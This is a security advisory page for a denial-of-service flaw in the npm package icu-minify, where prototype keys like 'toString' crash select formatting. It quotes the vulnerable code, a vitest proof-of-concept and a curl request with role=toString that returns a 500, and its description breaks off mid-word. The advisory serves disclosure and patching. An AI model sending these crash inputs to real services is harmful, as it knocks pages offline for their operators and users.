GHSA-r27j-894h-3w3p `icu-minify`'s runtime formatter resolves `select` branches by looking up the runtime value as a plain property on a prototype-bearing object.

Not scored Published

Attackers can crash applications using icu-minify with precompile enabled by sending specific keys that trigger prototype pollution lookups, causing a TypeError.

Exploited in the wild
Not known
Login needed
Not needed
Attackable
Over the internet
Victim action needed
Not needed
Fix
Available

What is GHSA-r27j-894h-3w3p?

GHSA-r27j-894h-3w3p is a denial of service vulnerability in icu-minify, published on 6 May 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.

Official description

Summary

icu-minify's runtime formatter resolves select branches by looking up the runtime value as a plain property on a prototype-bearing object. When the value coerces to a key that exists on Object.prototype (e.g. toString, __proto__, constructor, hasOwnProperty, valueOf), the lookup returns a truthy value that short-circuits the ?? options.other fallback, and the downstream iterator crashes with TypeError: nodes is not iterable. Any consumer that forwards user input into a {arg, select, …} placeholder — a common idiom for role, status, type, gender — can be crashed per-request by supplying one of those keys. In Next.js SSR (via next-intl with experimental.messages.precompile) this yields a 500 for the affected render.

Details

Vulnerable code paths

Compilation produces a plain object whose prototype chain includes all Object.prototype members:

// packages/icu-minify/src/compile.tsx:191-199
function compileSelect(node: SelectElement): CompiledNode {
  const options: SelectOptions = {};            // <-- plain object, inherits from Object.prototype

  for (const [key, option] of Object.entries(node.options)) {
    options[key] = compileNodesToNode(option.value);
  }

  return [node.value, TYPE_SELECT, options];
}

At runtime, the formatter looks up the user-controllable value directly on that object:

// packages/icu-minify/src/format.tsx:226-244
function formatSelect<RichTextElement>(
  name: string,
  options: SelectOptions,
  locale: string,
  values: FormatValues<RichTextElement>,
  formatOptions: FormatOptions,
  pluralCtx: PluralContext | undefined
): string | RichTextElement | Array<string | RichTextElement> {
  const value = String(getValue(values, name));               // 234: coerce to string, no sanitization
  const branch: CompiledNode | undefined = options[value] ?? options.other; // 235: unsafe lookup

  if (process.env.NODE_ENV !== 'production' && !branch) {
    throw new Error(
      `No matching branch for select "${name}" with value "${value}"`
    );
  }

  return formatBranch(branch, locale, values, formatOptions, pluralCtx); // 243
}

Because options inherits from Object.prototype, lookups such as options['toString'] return Object.prototype.toString — a truthy Function. The ?? options.other fallback is therefore skipped, and the non-array, non-string branch is passed to formatBranch, which forwards it to formatNodes:

// packages/icu-minify/src/format.tsx:286-308
function formatBranch<RichTextElement>(
  branch: CompiledNode,
  /* … */
) {
  if (typeof branch === 'string') return branch;           // string: fine
  if (branch === TYPE_POUND) return formatNode(/* … */);    // pound: fine
  return formatNodes(branch as Array<CompiledNode>, /* … */); // 301: Function is not iterable
}

// packages/icu-minify/src/format.tsx:73-92
function formatNodes<RichTextElement>(
  nodes: Array<CompiledNode>,
  /* … */
): Array<string | RichTextElement> {
  const result: Array<string | RichTextElement> = [];
  for (const node of nodes) {                              // 82: TypeError: nodes is not iterable
    /* … */
  }
  return result;
}

Five bare-prototype keys reliably crash the formatter in production: toString, __proto__, constructor, hasOwnProperty, valueOf (plus propertyIsEnumerable, isPrototypeOf, toLocaleString). Note the development branch at line 237 (throw new Error('No matching branch for select …')) is bypassed because the inherited function is truthy — so this is not masked in development either.

Why formatPlural is not affected

formatPlural (format.tsx:246-284) looks safe for two independent reasons and does not need to be patched for this specific bug:

  1. Exact-match keys use the =${value} prefix (exactKey = '=' + value, line 263), so the attacker would need to supply e.g. =toString, which is not a member of Object.prototype.
  2. The category branch uses formatOptions.formatters.getPluralRules(locale, {type}).select(value) which returns a fixed enum (zero|one|two|few|many|other), never attacker-supplied.

The bug is specific to the select path where the raw string value is used as the lookup key.

Reachability

  • Direct consumers of icu-minify: any code calling format(compiled, locale, values, …) where values[arg] for a select placeholder comes from user input is vulnerable with no additional preconditions.
  • next-intl users who enable experimental.messages.precompile (packages/next-intl/src/plugin/types.tsx:24, wired in packages/next-intl/src/plugin/getNextConfig.tsx:177-293): the runtime at packages/use-intl/src/core/format-message/format-only.tsx forwards directly to icu-minify/format, so t('msg', {role: req.query.role}) against a {role, select, admin {…} other {…}} message crashes the render.

No middleware, type guard, escaping, or framework default stands between user input and the unsafe lookup — values reaches format() unmodified.

PoC

Verified dynamically against packages/icu-minify/src/format.tsx at commit b4aa538 (v4.9.1) with vitest and NODE_ENV=production.

Reproduction (drop into packages/icu-minify/test/poc.test.ts and run pnpm exec vitest run test/poc.test.ts):

import {describe, expect, it} from 'vitest';
import compile from '../src/compile.js';
import format, {type FormatOptions} from '../src/format.js';

const formatters: FormatOptions['formatters'] = {
  getDateTimeFormat: (...a) => new Intl.DateTimeFormat(...a),
  getNumberFormat:   (...a) => new Intl.NumberFormat(...a),
  getPluralRules:    (...a) => new Intl.PluralRules(...a)
};

describe('select prototype-key DoS', () => {
  const compiled = compile('{role, select, admin {Admin} user {User} other {Guest}}');

  for (const key of ['toString', '__proto__', 'constructor', 'hasOwnProperty', 'valueOf']) {
    it(`crashes on role="${key}"`, () => {
      process.env.NODE_ENV = 'production';
      expect(() => format(compiled, 'en', {role: key}, {formatters}))
        .toThrow(TypeError); // "nodes is not iterable"
    });
  }
});

Observed output (each of the 5 keys):

TypeError: nodes is not iterable
    at formatNodes (packages/icu-minify/src/format.tsx:82:22)
    at formatBranch (packages/icu-minify/src/format.tsx:301:10)
    at formatSelect (packages/icu-minify/src/format.tsx:243:10)
    at formatNode (packages/icu-minify/src/format.tsx:150:14)
    at formatNodes (packages/icu-minify/src/format.tsx:83:23)
    at format (packages/icu-minify/src/format.tsx:64:18)

End-to-end Next.js scenario (illustrative — any attacker-controlled role/status/type/gender forwarded into a select placeholder triggers the same exception inside the server render):

// app/[locale]/profile/page.tsx — assume precompile enabled
export default async function Page({searchParams}: {searchParams: Promise<{role?: string}>}) {
  const t = await getTranslations('Profile');
  const {role = 'other'} = await searchParams;
  return <h1>{t('greeting', {role})}</h1>;
  //                         ^^^^^ messages: { "greeting": "{role, select, admin {Hi admin} other {Hi}}" }
}
curl -i 'https://target.example/en/profile?role=toString'
HTTP/1.1 500 Internal Server Error

Impact

  • Availability: An unauthenticated attacker can force a 500 response on any page or API route that formats a select ICU message using user-controllable input. Each request fails independently; there is no persistent state corruption or amplification beyond the malicious request.
  • Confidentiality / Integrity: None. No data is leaked and no prototype write occurs — this is a prototype-chain read confusion, not a prototype pollution write.
  • Scope: Any consumer of icu-minify that passes user input into a select branch is vulnerable. next-intl users are only exposed if they have opted into the experimental experimental.messages.precompile flag.
  • **Precondit

Which versions are affected by GHSA-r27j-894h-3w3p?

2 open source packages ship an affected version, including icu-minify.

PackageAffectedFixed in
icu-minify npmAll versions4.9.2
icu-minify npmAll versions4.9.2

How do I fix GHSA-r27j-894h-3w3p?

Upgrade icu-minify to 4.9.2 or later.

Upgrade, then put limits on request size, rate and nesting depth so one client cannot exhaust the service. More about Denial of service.

Is GHSA-r27j-894h-3w3p being exploited?

There is no known exploitation of GHSA-r27j-894h-3w3p in the wild and no public exploit code.

Sources

Is GHSA-r27j-894h-3w3p in your software?

Upload an SBOM and sbomify checks it against every vulnerability here, every day.

Check your SBOMs for free